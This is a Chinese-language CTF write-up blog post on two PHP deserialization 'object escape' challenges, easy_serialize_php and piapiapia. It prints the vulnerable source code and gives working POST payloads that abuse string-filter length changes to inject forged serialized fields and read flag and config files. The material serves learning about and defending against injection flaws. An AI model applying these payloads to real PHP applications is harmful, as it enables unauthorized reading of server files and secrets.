buuctf9

[安洵杯 2019]easy_serialize_php

反序列化题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php


$function = @$_GET['f'];

function filter($img)//定义过滤内容
{
$filter_arr = array('php', 'flag', 'php5', 'php4');//居然是过滤后缀?
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}


if ($_SESSION) {
unset($_SESSION);
}

$_SESSION["user"] = 'guest';//这边可能要改一下user
$_SESSION['function'] = $function;

extract($_POST);

if (!$function) {
echo '<a href="buuease_serialize.php?f=highlight_file">source_code</a>';
}

if (!$_GET['img_path']) {//get一个img_path
$_SESSION['img'] = base64_encode('guest_img.png');
} else {
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//对session进行序列化然后过滤内容。

if ($function == 'highlight_file') {
highlight_file('buuease_serialize.php');
} else if ($function == 'phpinfo') {
eval('phpinfo();'); //maybe you can find something in here!感觉这里只是告诉我们flag在哪个文件夹里面,其构造攻击手法还是得我们自己来
} else if ($function == 'show_image') {
$userinfo = unserialize($serialize_info);//进行反序列化。
echo file_get_contents(base64_decode($userinfo['img']));//目标就是进入这里
}

extract():e
函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

1
2
3
4
5
6
7
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
//$a = Cat; $b = Dog; $c = Horse

大致清楚代码逻辑后,我们先看看phpinfo里面提供了啥信息:
img

flag所在文件名~大概是要读取文件源码

前两天在学序列化的知识的时候有看到一个phar的似乎跟文件有关,然后这里也是允许?会不会有点搞头?继续往下看看

好的没有搞头,因为:根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
本地测试抓包传一下值吧

需要解决的问题如下:
1.对于传入的img_path会进行加密处理,那么传入到unserialize内容中以后就无法被反序列化了
2.这里还有一个extract()函数,但是他会被filter过滤内容,所以这里要想想如何绕过,让反序列化执行我们的文件读取类。
好的想不出来,看wp发现

PHP反序列化的对象逃逸

这题和我在隔壁文档演示的又有点不太一样,这里我们获得文本的点在于 :base64_decode($userinfo[‘img’])所以此时我们需要含有flag的字符串编码被序列化内容舍弃掉,如何舍弃呢?就是让前面的内容被过滤,那么序列化的字符串就会往下读取字符
这里有个误区:后面读取文件的而是序列化内的img值,所以我们需要丢掉的是本来有的img值!也就是说我们传入的值要在程序本来自带的img的前面

flag文件base64加密后为:

1
ZDBnM19mMWFnLnBocA==

救命 遇到大坑了,我们利用的是flag等字符会被转化为空来吃掉后面的字符,但是如果我们传入的数据时:

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[img]=Z3Vlc3RfaW1nLnBuZw==&_SESSION[function]=a";s:3:"img";s:4:"aaaa";s:3:"img";s:4:"aaaa";}

这样子的话吃掉就是img,虽然多构造几个flag也能把function的48字符给吃掉,但是就无法传入img值也就是打开我们的flag:
//a:3:{s:4:”user”;s:24:””;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;s:8:”function”;s:46:”a”;s:3:”img”;s:4:”aaaa”;s:3:”img”;s:4:”aaaa”;}”;}

像这个有46的出现就报错了~所以要吃掉它呀!!!!!!就要和img互换位置,所以真正的payload为:

1
2
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}
1
2
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
//这里说明一下 最后还要构造一个s:2:"dd";s:1:"a";这个对象,因为这样才能把Z3Vlc3RfaW1nLnBuZw==这个图片给挤出去,不干扰我们的结果

调试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($img)//定义过滤内容
{
$filter_arr = array('php', 'flag', 'php5', 'php4');//居然是过滤后缀?
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$function = "a\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";s:2:\"dd\";s:1:\"a\";}";
$_SESSION["user"] = 'flagflagflagflagflagflag';//这边可能要改一下user为admin?
$_SESSION['function'] = $function;
$_SESSION['img']="Z3Vlc3RfaW1nLnBuZw==";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
$userinfo = unserialize($serialize_info);
var_dump($userinfo);

小结

这题不算难,但是坑不少,主要是细心问题,多调试很有用!!

[0CTF 2016]piapiapia

www.zip源码泄露打开审计一下:
本地运行的时候需要注意 mysql要全部更改为mysqli(版本不同)

在本地运行调试了一下,发现有登录注册还有一个更新页面,登录注册页面没啥大问题,在更新页面可以上传文件并且将会被序列化,在序列化之前还会

img

针对我们传入的内容进行一下反序列化操作后使用了filter进行过滤:

1
a:4:{s:5:"phone";s:11:"15559564603";s:5:"email";s:12:"10452@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

这里需要做的就是让123”以后的内容被丢弃掉,和上一题差不多,然后这里如何吃字符呢?filter里面只有where替换为hacker能吃,所以就要输入很多个where

由于都有长度限制,并且只有nickname能全输出英文,所以需要绕过strlen函数,如何绕过呢?传入数组就行了接下来直接构造一下payload吧:

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

解释一下 由于我们传入的数组,所以序列化的过程中也是数组,所以s前面需要有个中括号和分号,才能达到闭合的效果
我们下载源码后,发现config里面有个flag,所以推测flag在这里img

小结:

连续做了两题这个,感觉更加得心应手一些了总结一下就是:
1.filter在序列化之后,并且filter的是序列化后的内容
2.看看filter哪些可以吃字符
3.构造好闭合语句
4.让不要的字符被丢弃

Author

vague huang

Posted on

2021-04-13

Updated on

2021-04-15

Licensed under

Comments